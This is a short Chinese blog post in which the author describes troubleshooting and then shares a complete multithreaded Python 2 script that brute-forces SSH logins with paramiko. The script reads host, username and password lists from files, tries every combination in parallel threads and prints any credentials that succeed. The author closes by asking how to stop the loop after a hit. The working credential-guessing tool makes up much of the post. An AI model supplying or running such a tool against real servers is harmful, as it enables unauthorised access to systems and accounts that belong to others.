练习写了个SSH弱口令爆破多线程脚本,遇到的问题
1、一开始想import pexpect 中的pxssh 然而却一直该有错误,
ImportError: cannot import name spawn
google了下问题都说的很模糊也不清楚。有的说是pexpect模块没安装好,有的说是python import的问题,因为在lib中已经有了spawn模块,与pexpect模块中的spawn重名了,所以报错。但也都没说清楚该这么弄。最后在here这里看到了问题原因,原来是pexpect根本不支持windows,我们可以用paramiko模块来解决这个问题。
2、写完代码后,使用多线程后,虽然不报错,但结果会有警告,
提示:No handlers could be found for logger “paramiko.transport”
我在这个网站this_web找到解决方案。只要加入一行代码就行了。
paramiko.util.log_to_file("filename.log")
因为我们没有配置日志,所以根应用程序和模块不知道在哪里发送日志。所以只要将所有的连接都记录到文件中就可以啦。
代码丑将就看看。
1 #!usr/bin/env python 2 #!coding=utf-8 3 4 __author__=‘zhengjim‘ 5 6 import paramiko 7 from threading import Thread 8 9 def connect(host,user,pwd): 10 try: 11 ssh=paramiko.SSHClient() 12 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 13 ssh.connect(hostname=host,username=user,password=pwd,timeout=5) 14 ssh.close() 15 print ‘破解成功!用户名:‘+ user +‘,密码:‘ + pwd + ‘,主机IP:‘+ host 16 except: 17 pass 18 paramiko.util.log_to_file("filename.log") 19 host=open(‘host.txt‘) 20 for line in host: 21 host=line.strip(‘\n‘) 22 print ‘开始爆破主机:‘+host 23 user=open(‘user.txt‘) 24 for line in user: 25 user=line.strip(‘\n‘) 26 pwd =open(‘pwd.txt‘) 27 for line in pwd: 28 pwd = line.strip(‘\n‘) 29 t=Thread(target=connect,args=(host,user,pwd)) 30 t.start()
目录下需要host.txt,user.txt,pwd.txt三个文件
还有个问题就是,因为使用多线程,并且对多线程不太了解,所以程序不能在匹配到正确账号密码后跳出循环。望大牛可以教教我。~
时间: 2024-10-12 12:20:33